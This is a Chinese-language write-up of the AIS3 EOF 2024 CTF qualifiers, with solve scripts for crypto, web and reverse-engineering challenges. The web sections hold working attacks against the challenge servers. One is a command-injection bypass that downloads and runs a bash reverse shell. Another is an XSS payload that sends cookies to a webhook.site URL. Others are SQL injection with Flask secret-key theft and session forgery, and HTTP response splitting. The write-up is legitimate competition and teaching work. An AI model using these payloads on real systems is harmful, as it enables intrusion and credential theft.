[心得] AIS3 EOF 2024 Quals WriteUp
[TOC]
## 成績

看[完整 Profile](https://img.stoneapp.tech/t510599/eof-2024/quals/Profile.png)
很長的 [ScoreBoard](https://img.stoneapp.tech/t510599/eof-2024/quals/Scoreboard.png)
<style>
p:has(img) {
text-align: center;
}
</style>
## 前言
今年改成單人打 Quals -> 晉級後組隊的形式
題目號稱有簡單一點 (?)
沒有 Misc 我好難過 :(
## Misc
### Welcome
加入 [AIS3 EOF Discord](https://discord.gg/WdpawhNbpD) 並進到 2024-QUAL > `#annoucement` 頻道
可以看到含有 Welcome Flag 的訊息

透過滑鼠游標將訊息中的 Flag 反白選取 並透過鍵盤快速鍵 `Ctrl+C` 複製

再透過 `Ctrl+V` 貼上到 Flag 輸入框 送出即可獲得分數
Flag: `AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}`
## Crypto
### Baby AES
`c1`、`c2`、`c3` 都是 32 bytes (2 block) 長 可以將其切分為 **h**igh + **l**ow
令 `e` 為 `AES_enc`
| output | high | low |
| --- | --- | --- |
| c1_CFB | e(iv) $$\oplus$$ c1_h | e(e(iv) $$\oplus$$ c1_h) $$\oplus$$ c1l |
| c2_OFB | e(iv+1) $$\oplus$$ c2h | e(e(iv+1)) $$\oplus$$ c2l |
| c3_CTR | e(iv+2) $$\oplus$$ c3h | e(iv+3) $$\oplus$$ c3_h |
只要找到 `e(iv+i)` (i = 0 ~ 3) 就能將 flag = c3 $$\oplus$$ c2 $$\oplus$$ c1 找回來
雖然每次加密前 `iv` 會 +1 但是可以預測
只要能先拿到 `e(iv+i)` 就可透過 CFB 將想要加密的東西送進去加密
透過 null byte XOR 後直接是 `AES_enc` 輸出
流程如下 假設已有 `e(iv+4)` 可以藉此回復 `e(iv)` 與 `e(e(iv))`

輸入為 iv $$\oplus$$ e(iv + 4) + 0x00 * 16 + 0x00 * 16
而要先知道加密的 iv 可以用 CTR 來 leak
第一次問 plaintext 時所用 iv 是 iv+3 輸入五個 null byte block 就能拿到 e(iv+i) (i = 3 ~ 7)
`solve.py`
```python
host, port = "chal1.eof.ais3.org", 10003
r = remote(host, port)
def query(mode, pt):
r.recvuntil(b"? ")
r.sendline(mode)
r.recvuntil(b"? ")
r.sendline(pt)
return b64d(eval(r.recvline().decode().strip().split(" ")[1]))
r.recvuntil(b": ")
c1_cfb = tuple(map(b64d, eval(r.recvline().strip())))
r.recvuntil(b": ")
c2_ofb = tuple(map(b64d, eval(r.recvline().strip())))
r.recvuntil(b": ")
c3_ctr = tuple(map(b64d, eval(r.recvline().strip())))
aes_ivs = []
payload = query(b"CTR", b64e(b"\x00" * 16 * 5))
for i in range(0, len(payload), 16):
aes_ivs.append(payload[i:i+16])
# iv+4
aes_iv = query(b"CFB", b64e(XOR(aes_ivs[1], c1_cfb[0]) + b"\x00" * 16))[16:]
# iv+5
aes_aes_iv_c1h = query(
b"CFB",
b64e(XOR(aes_ivs[2], c1_cfb[1][:16]) + b"\x00" * 16)
)[16:]
# iv+6
payload = query(
b"CFB",
b64e(XOR(aes_ivs[3], c2_ofb[0]) + b"\x00" * 16 + b"\x00" * 16)
)[16:]
aes_iv_1 = payload[:16]
aes_aes_iv_1 = payload[16:]
# iv+7
aes_iv_2 = query(b"CFB", b64e(XOR(aes_ivs[4], c3_ctr[0]) + b"\x00" * 16))[16:]
c1h, c1l = XOR(aes_iv, c1_cfb[1][:16]), XOR(aes_aes_iv_c1h, c1_cfb[1][16:])
c1 = c1h + c1l
c2h, c2l = XOR(aes_iv_1, c2_ofb[1][:16]), XOR(aes_aes_iv_1, c2_ofb[1][16:])
c2 = c2h + c2l
c3h, c3l = XOR(aes_iv_2, c3_ctr[1][:16]), XOR(aes_ivs[0], c3_ctr[1][16:]) # iv+3
c3 = c3h + c3l
flag = XOR(XOR(c1, c2), c3)
print(flag.decode())
```
Flag: `AIS3{_BL0ck_C1PHER_M0de_Ma$7Er_}`
### Baby Side Channel Attack
打開 `trace.txt`

可以透過是否呼叫 `r = r * a % c` 來一個一個 bit 回推 $$d$$
此時沒有 $$n$$ 但題目另外給了 $$ed = e^d \pmod n$$ 跟 $$de = d^e \pmod n$$
可以推論 $$e^d = k_1 n + ed$$, $$d^e = k_2 n + de$$
因此 $$e^d - ed = k_1 n$$, $$d^e - de = k_2 n$$ 解 gcd 就能找到 $$n$$ 的倍數 再爆搜一下 $$n$$ 即可
由於 $$d$$ 太大 $$e^d$$ 算不出來
此時發現 $$(e^d)^e \equiv e \pmod n$$ 可以另外算 $$(ed)^e - e = k_3 n$$ 用此解 gcd
`solve.sage`
```python
d = int("".join(bits[::-1]), 2) # bits are parsed from trace.txt
a = ed ** e
b = d ** e
n = gcd(a - e, b - de)
for k in range(1, 2 ** (n.bit_length() - 2047 + 1)):
if n % k == 0:
flag = long_to_bytes(pow(c, d, n // k))
if b"AIS3" in flag:
print(k, flag.decode())
break
```
Flag: `AIS3{SID3_chaNn3l_i5_ea$Y_Wh3n_Th3_Data_le4KagE_Is_EXAc7}`
### Baby RSA
`e = 3` 而且可以多次連線拿到不同 $$n$$ 直接砸 broadcast attack
CRT 解 $$\text{flag}^e \pmod{n_1 n_2 n_3}$$ 再直接開三方就是 flag
```python
from sage.all import crt
host, port = 'chal1.eof.ais3.org', 10002
def get_flag():
r = remote(host, port)
n = int(r.recvline().decode().split(', ')[0].split('=')[1])
c = int(r.recvline().decode().split(' ')[1])
return n, c
def hastad_broadcast(ns, cs):
assert len(ns) == len(cs)
x = crt(cs, ns)
try:
return x.nth_root(len(ns))
except:
pass
n1, c1 = get_flag()
n2, c2 = get_flag()
n3, c3 = get_flag()
print(long_to_bytes(hastad_broadcast([n1, n2, n3], [c1, c2, c3])))
```
Flag: `AIS3{c0PPEr5MI7HS_5H0r7_paD_a7T4CK}`
## Web
### DNS Lookup Tool: Final
`index.php`
```php=38
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;
if ($is_input_safe) {
$retcode = 0;
$output = [];
exec("host {$_POST['name']}", $output, $retcode);
```
觀察程式碼 可以看到有明顯 cmdi 的洞
但是有黑名單 如 `&`、`;`、`|` 等 無法做指令串接
但可用 `$( )` substitution 來注入指令
簡單寫個 reverse shell
```bash
#!/bin/bash
bash -i >& /dev/tcp/<server>/40005 0>&1
```
雖不能 pipe 到 bash 但可以透過 `curl <url> -o <fn>`下載 payload

最後呼叫載下來的 reverse shell 即可

Flag: `AIS3{JUST_3@5Y_comManD_INj3c71ON}`
### Internal
題目中有兩個檔案 分別是一個 python 的 `ThreadingHTTPServer` 與 nginx config
`server.py`
```python=12
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/flag":
self.send_response(200)
self.end_headers()
self.wfile.write(FLAG.encode())
return
query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
redir = query["redir"][0]
if not URL_REGEX.match(redir):
redir = None
self.send_response(302 if redir else 200)
if redir:
self.send_header("Location", redir)
self.end_headers()
self.wfile.write(b"Hello world!")
```
`default.conf`
```nginx=
server {
listen 7778;
listen [::]:7778;
server_name localhost;
location /flag {
internal;
proxy_pass http://web:7777;
}
location / {
proxy_pass http://web:7777;
}
}
```
從外網是先透過 nginx 再連到 python web server
存取 `/flag` 即有 flag 但 `/flag` 被 `internal` 限制只能從內網存取
查看 [Nginx ngx_http_core_module 文件](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal):
> Internal requests are the following:
> - requests redirected by the error_page, index, internal_redirect, random_index, and try_files directives;
> - requests redirected by the **“X-Accel-Redirect”** response header field from an upstream server;
另外看到 `Lib/http/server.py`
```python=
def send_header(self, keyword, value):
"""Send a MIME header to the headers buffer."""
if self.request_version != 'HTTP/0.9':
if not hasattr(self, '_headers_buffer'):
self._headers_buffer = []
self._headers_buffer.append(
("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
```
`send_header` 不會過濾 `value` 可以傳入 `\r\n` 來加一個 HTTP Response Header
可透過此漏洞設定 `X-Accel-Redirect` 來讓 nginx 存取 `/flag` 並回傳
這是一種 [HTTP Response Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting) 攻擊
`exp.py`
```python
import requests as r
HOST = "10.105.0.21:11446"
res = r.get(f"http://{HOST}/redir", params={
"redir": "http://localhost:7777/flag\r\nX-Accel-Redirect: /flag"
})
print(res.text)
```
Flag: `AIS3{jU$T_s0Me_FUNNY_n9iNx_FEatuRE}`
### copypasta
`app.py`
```python=82
@app.get("/use")
def create():
id = request.args.get("id")
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()
content = tmpl["template"]
fields = dict.fromkeys(re.findall(r"{field\[([^}]+)\]}", content))
content = re.sub(r"{field\[([^}]+)\]}", r"{\1}", tmpl["template"])
return render_template("create.html", content=content, fields=fields, id=id)
```
可以看到 L86 直接將 url param 塞進 SQL query 可以做 sqli
先透過以下 payload 拿到 flag 的 post id
```sql
4 union select 87,63,id from copypasta WHERE orig_id = 3
```
將 id 指定為不存在的 id (`4`) 此時就會從後面的 `union select` query 回傳結果
這裡讀取 `copypasta` 裡面 `orig_id=3` (flag) 的 row
為了讀到有 flag 的 post 要繞過下面 `session['posts']` 的權限驗證
```python=119
@app.get("/view/<id>")
def view(id):
if id in session.get('posts', []):
content = open(f"posts/{id}").read()
else:
content = "(permission denied)"
return render_template("view.html", content=content)
```
由於 Flask 的 session 是存在 cookie 中 (透過 `app.secret_key` 簽署) 只要 leak secret key 即可任意偽造
```python=95
@app.post("/use")
def create_post():
id = request.args.get("id")
tmpl = db().cursor().execute(
f"SELECT * FROM copypasta_template WHERE id = {id}"
).fetchone()
content = tmpl["template"]
res = content.format(field=request.form)
```
另外看到 `create_post` 裡面是直接將整個 form 的 object 傳到 `content.format`
`str.format` 的 template 雖不能 call function 但還是能讀屬性
而 content 又可用 union based sqli 控制 因此可以藉此來存取 `field` 的各種屬性 最後拿到 `app.secret_key`
目標是拿到 `sys.modules` 後面就可以到 `flask` 裡面找 `current_app` 上面就有 `secret_key`
參考 [ångstromCTF 2019 - Madlibbin](https://ctftime.org/writeup/14941) 得到以下 payload:
```!
{field.__class__.__init__.__globals__[__builtins__][copyright].__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}
```
讓其作為 `template` (column 3) 回傳
最後有 `secret_key` 跟 `flag_id` 之後 就可以用 `SecureCookieSessionInterface` 自己造 session
`exp.py`
```python
import time
from flask.sessions import SecureCookieSessionInterface
import requests
from bs4 import BeautifulSoup as Soup
URL = "http://10.105.0.21:22120"
s = requests.Session()
s.get(URL) # get init cookie, or get_secret_key/get_flag_post_id would fail
def get_secret_key():
res = s.post(f"{URL}/use", params={
"id": r'4 union select 87,63,"{field.__class__.__init__.__globals__[__builtins__][copyright].__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}"'
})
dom = Soup(res.text, "html.parser")
return dom.select_one("article").text
def get_flag_post_id():
res = s.get(f"{URL}/use", params={
"id": '4 union select 87,63,id from copypasta WHERE orig_id = 3'
})
dom = Soup(res.text, "html.parser")
return dom.select_one("pre").text
def get_flag(post_id, cookie):
res = requests.get(f"{URL}/view/{post_id}", cookies={"session": cookie})
dom = Soup(res.text, "html.parser")
return dom.select_one("article").text
flag_id = get_flag_post_id()
secret_key = get_secret_key()
class Config:
def __init__(self, secret_key):
self.secret_key = secret_key
app = Config(secret_key)
cookie = SecureCookieSessionInterface() \
.get_signing_serializer(app).dumps({ "posts": [flag_id] })
print(get_flag(flag_id, cookie))
```
Flag: `AIS3{I_L0ve_pa$ta_anD_c0pyPasta}`
### HTML Debugger
此題會透過 url parameter `html` 來傳 HTML 並由後端 `encodeURIComponent` 後放到 ejs 模板中
最後透過 DOMPurify 設為某個 element 的 `innerHTML`
`index.ejs`
```javascript=7
const unsanitized = decodeURIComponent("<%= html %>");
document.getElementById("html").innerHTML = DOMPurify.sanitize(unsanitized);
```
`bot.js`
```javascript=24
await page.setCookie({name: 'flag', value: FLAG, domain: DOMAIN});
await page.goto(url)
await page.bringToFront()
await sleep(3000)
await page.click('#close_btn')
```
flag 是放在 cookie 中 但沒有 httponly 所以可以用 javascript 讀取
另外 bot 還會去戳 `#close_btn`
`static/script.js`
```javascript=7
function preview_onclick(){
fetch("/preview", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
html: html_text.value
})
}).then(res => res.json()).then(data => {
html.innerHTML = data.html || res.text;
form.style.display = "none";
preview.style.display = "block";
})
}
```
另外觀察頁面上所載入的 js 裡面的 `preview_onclick` 會另外打 API 拿到 HTML 而且沒過濾就設到 innerHTML
另外在 data 的 callback 中用了 `res.text` 作為 fallback
但很明顯 `res` 並不在這個 function 的 scope 中 推測要從這邊控制 HTML
要控制可以透過 DOM Clobbering 來控制其內容
若要作為 string 回傳 可以控制 `a.href` 因為其 toString 就是用 `href` 的值
要蓋過 `res.text` 需要有兩個 id 都是 `res` 的 element 而其中一個的 name 設為 `text`
因 `window.res` 在有重複 id 的情況下 會回傳 `HTMLCollection` 並可用 name 來存取裡面的特定 element
`#html_text` 也是相同道理 要讓其 value 是 undefined `data.html` 才會為空 用我們控制的 HTML
`a.href` 必須要指定 protocol 不然會被當作 relative path 然後前面就被加上 origin 了
看 [DOMPurify src](https://github.com/cure53/DOMPurify/blob/main/src/regexp.js#L10C5-L10C55) 僅以下 proto `(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp)` 可用
測試幾個 protocol 發現 `sms` 不會讓後面的 payload 被 url encode
另外要注意 `?` 也會害後面東西被 url encode 所以 escape 成 `\x3f`
此部分 payload 如下:
```html!
<div id="res"></div><div id="html_text"></div>
<a id="res" name="text" href="sms:<iframe srcdoc='<script>location.href=`https://webhook.site/5bd59cb6-4446-4594-8657-a6777edcf4cf/\x3ff=`+btoa(document.cookie)</script>'></iframe>"></a>
```
但必須戳到 `#preview_btn` 才能觸發 `preview_onclick`
另外查看 `puppeteer-core/src/api/ElementHandle.ts`
```javascript=143
async click(
this: ElementHandle<Element>,
options: Readonly<ClickOptions> = {}
): Promise<void> {
await this.scrollIntoViewIfNeeded();
const {x, y} = await this.clickablePoint(options.offset);
await this.frame.page().mouse.click(x, y, options);
}
```
可以看到 `page.click` 其實是先 `querySelector` Element 之後再透過 `clickablePoint` 計算座標去點
此時可以控制 `#closn_btn` 的位置到 `#preview_btn` 後面
這樣當 bot 在試著戳 `#close_btn` 時 其實會戳到 `#preview_btn`
需插入 `<style></style>` 來控制其他元素樣式 但 DOMPurify 會將其過濾掉
參考 [maple writeup](https://blog.maple3142.net/2022/08/29/intigriti-0822-xss-challenge-writeup/#css-injection) 只要用 `a<style></style>` 就會通過 DOMPurify
payload:
```html!
a<style>
#form{display: block !important;}
#preview>button{display: none;}
pre{padding: 0;}
#html{height: 0; padding:0; overflow: hidden;}
#html>#close_btn {position: absolute; right: 0; bottom: -3.5em; z-index: -1;}
#form>:not(#buttons),#buttons>:not(#preview_btn){display: none;}</style>
<button id="close_btn">Close</button>
<div id="res"></div><div id="html_text"></div>
<a id="res" name="text" href="sms:<iframe srcdoc='<script>location.href=`https://webhook.site/5bd59cb6-4446-4594-8657-a6777edcf4cf/\x3ff=`+btoa(document.cookie)</script>'></iframe>"></a>
```

按下 preview 後:

可以看到 iframe 中已被 redirect 而 flag 已透過 url 打到我們的伺服器
Flag: `AIS3{chIPi_CH1p1_cHaP@_CHaP@_dUbi_Dubi_daB4_d4B4}`
## Reverse
### Flag Generator
經過逆向後 發現其有個 `writeFile` 函式會將解密後的 exe 傳到此 function 但裡面沒實際寫到 fs

用 IDA 下個 breakpoint 起來跑

檢查該位置開頭為 `MZ` 並將其 dump 出來
```IDC
auto fname = "C:\\dump_mem.bin";
auto address = <rdx>;
auto size = 0x600;
auto file= fopen(fname, "wb");
savefile(file, 0, address, size);
fclose(file);
```
<!--  -->
執行後得到 flag

Flag: `AIS3{US1ng_w1Nd0w5_IS_sucH_A_P@1N....}`
### Pixel Clicker

逆向後可以發現其會在你按了一定次數之後 透過 `get_resource` 來拿出答案 後面再比對你按過的 pixel
直接下斷點在 `get_resource` 的 if 前 並直接改掉 register 值來進到 branch 裡面

可以看到 rax 是 return value 看看 memory 上的值

可以看到 `BM` 其為 BMP 的 signature 另外 `Block + 10` 其實就是 BMP Header offset 欄位
用 `savedata` 把他 dump 出來打開

Flag: `AIS3{juST_4_51MpLe_ClICkEr_9am3}`
### Stateful
程式進入後會經過一堆 state 每次 call 一個 `state_xxxx` 並改變 a, b 的值
下一個 state 透過 `next_state = state * a + b;` 計算

每個 `state_xxxx` 裡面會從 `a1` (`input`) 拿兩個 index 的值相加 並且加/減到另一個 index 上

可以先 objdump 出來 按照 pattern 去 parse 他

以上是 `a1[0xe] += a1[0x8] + a1[0x23]`
剩下一些不合 pattern (index 為 0 等) 的 再手動開 IDA 看
最後砸 z3 追蹤每個 input index 會跟哪些 index 作運算
因為有加上 index 0 跟減掉 index 0 的狀況 所以用 float (有 `0.0` `-0.0`)
`solve.py`
```python
# db: dict fn -> (dst, src1, src2, is_add)
# table: dict state -> (fn, a, b)
history = []
data = [[float(i)] for i in range(len(ans))]
def apply(dst, src1, src2, is_add):
if is_add:
data[dst] += data[src1] + data[src2]
else:
data[dst] += list(map(lambda x: -x, data[src1] + data[src2]))
while True:
if state > bound:
break
try:
fn, a, b = table[state]
except:
break
history.append(state)
apply(*db[fn])
state = (a * state + b) & 0xffffffff
inp = [BitVec(f"inp_{i}", 8) for i in range(len(ans))]
s = Solver()
for i, l in enumerate(data):
v = inp[i]
for idx in l[1:]:
if idx > 0:
v = v + inp[int(idx)]
elif idx < 0:
v = v - inp[int(-idx)]
else:
if repr(idx) == "0.0":
v = v + inp[0]
elif repr(idx) == "-0.0":
v = v - inp[0]
s.add(v == ans[i])
result = s.check()
if result == sat:
m = s.model()
print("".join(map(chr, [m[i].as_long() for i in inp])))
```
Flag: `AIS3{@re_y0u_@_sTATEful_0R_ST4T3LeS5_ctf3r}`
2024-02-13 18:52:51
留言
Last fetch: --:--
現在還沒有留言!